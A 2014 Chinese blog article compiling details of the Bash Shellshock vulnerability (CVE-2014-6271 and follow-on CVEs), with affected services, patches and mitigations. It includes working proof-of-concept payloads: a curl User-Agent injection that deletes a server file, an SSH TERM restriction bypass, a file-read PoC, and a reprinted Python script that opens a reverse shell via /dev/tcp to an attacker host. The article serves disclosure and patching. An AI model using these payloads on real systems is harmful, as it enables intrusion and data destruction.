❏ 站外平台:

Bash Shellshock事件:CVE-2014-6271资料汇总

作者: Shawn the R0ck

| 2014-09-26 21:33   评论: 3 收藏: 2 分享: 6    

[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

|=-----------------------------------------------------------------=|
|=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #4 File 0x07 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------------------=[ Bash Shellshock事件: ]=--------------------=| 
|=-------------------=[ CVE-2014-6271资料汇总]=--------------------=|
|=-----------------------------------------------------------------=|
|=---------------------=[ By Shawn the R0ck ]=---------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ Sep 25 2014 ]=------------------------=|
|=-----------------------------------------------------------------=| 

--[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch

3. Mitigation

4. Story to be continued...

5. References

 

--[ 0. 什么是BASH

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

--[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:

  • 在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。
  • Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用 os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用,open/system的情况都会受此漏洞影响。
  • PHP脚本执行在mod_php不会受影响。
  • DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
  • 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
  • 任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。

我们先来看一个简单的POC:

1,本地SHELL环境中测试是否有漏洞:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果存在漏洞会打印"vulnerable"。

2,C程序:

/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>

int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };

execve(argv[0], argv, envp);
perror("execve");
return 1;
}

je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me

这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。

3,INVISIBLETHREAT上对于HTTP环境的测试:

创建一个脚本叫poc.cgi:

#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

exit 0

把脚本放入测试机后,输入:

$ curl http://192.168.0.1/poc.cgi

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>

HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
SERVER_ADMIN=webmaster@localhost
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>

再来试试使用curl设置一个user-agent玩玩:

$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

上面已经把/var/www/target给删除了,再来看看:

$ curl http://192.168.0.1/target

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /target was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

4, 针对OpenSSH的POC

目前有2个攻击平面,Solar Designer给出了 SSH_ORIGINAL_COMMAND的本地利用方法:http://seclists.org/oss-sec/2014/q3/651

还有就是针对远程利用的POC,通过利用TERM:

在机器A上生成一对RSA key pair:

shawn@debian-test32:~/.ssh$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32
The key's randomart image is:
+--[ RSA 2048]----+
| ... |
| .o . |
| ooo |
| o +.o. |
| = =S. |
| . * o E |
| o o . + |
|. = o o |
|oo . . |
+-----------------+

把A的公钥拷贝到机器B上:

$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32

一个用于控制command/SSH_ORIGINAL_COMMAND的脚本

shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh

case "$SSH_ORIGINAL_COMMAND" in
"ps")
ps -ef
;;
"vmstat")
vmstat 1 100
;;
"cups stop")
/etc/init.d/cupsys stop
;;
"cups start")
/etc/init.d/cupsys start
;;
*)
echo "Sorry. Only these commands are available to you:"
echo "ps, vmstat, cupsys stop, cupsys start"
#exit 1
;;
esac

机器A上可以正常的使用限制脚本:

shawn@debian-test32:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts
root 2 0 0 16:47 ? 00:00:00 [kthreadd]
root 3 2 0 16:47 ? 00:00:00 [ksoftirqd/0]

借助TERM来利用:

shawn@debian-test32:~$ export TERM='() { :;}; id'; ssh shawn@192.168.115.129
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.

5,DHCP:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ 

--[ 2. 补丁情况

从最早GNU/Linux发行版社区收到的补丁: https://bugzilla.novell.com/attachment.cgi?id=606672 

可以看出BASH的确没有做异常处理,而直接解析后就执行了。

正式的社区补丁在这里:

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025 

但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:

shawn@shawn-fortress /tmp $ date -u > test_file
shawn@shawn-fortress /tmp $ env X='() { (a)=<\' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014

这个POC可以让攻击者能读文件,看来后续的故事还没结束................... (Sep 25 13:30 UTC 2014)

UTC时间2014年9月25日上午,CVE-2014-7169被BASH社区修复,目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相
关的升级。

2014年9月26日,BASH又爆出了CVE-2014-7186和CVE-2014-7187:http://www.openwall.com/lists/oss-security/2014/09/26/2 

--[ 3. 防御方案

在各种GNU/Linux发行版里需要升级:

Debian-based(包括Ubuntu):

sudo apt-get update && apt-get upgrade

Gentoo:

sudo emerge --sync && glsa-check -f affected

OpenSSH:

加入no-pty

--[ 4. 后续故事

这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

的工具,Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实: https://gist.github.com/anonymous/929d622f3b36b00c0be1 

虽然目前的样本不是蠕虫,但很明显,僵尸网络的狂欢已经开始,从目前样本的情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析:http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html 

通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。

--[ 5. References

[1] BASH

http://www.gnu.org/software/bash/ 

[2] Bash specially-crafted environment variables code injection attack

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ 

[3] CVE-2014-6271

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 

[4] CVE-2014-7169

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169 

[5] CVE-2014-6271: remote code execution through bash

http://seclists.org/oss-sec/2014/q3/651 

[6] SSH, The Secure Shell: The Definitive Guide

http://oreilly.com/catalog/sshtdg/chapter/ch08.html 

[7] CVE-2014-6271 cgi-bin reverse shell

http://pastebin.com/166f8Rjx 



最新评论

绿色圣光 2014-09-28 22:29 15 回复
看过这篇文章,理解得要清楚多了。
微博评论 2014-09-27 02:03 18 回复
我了个擦,这个比心脏滴血还严重
微博评论 2014-09-26 22:03 5 回复
明天到公司看

返回顶部

分享到微信

打开微信,点击顶部的“╋”,
使用“扫一扫”将网页分享至微信。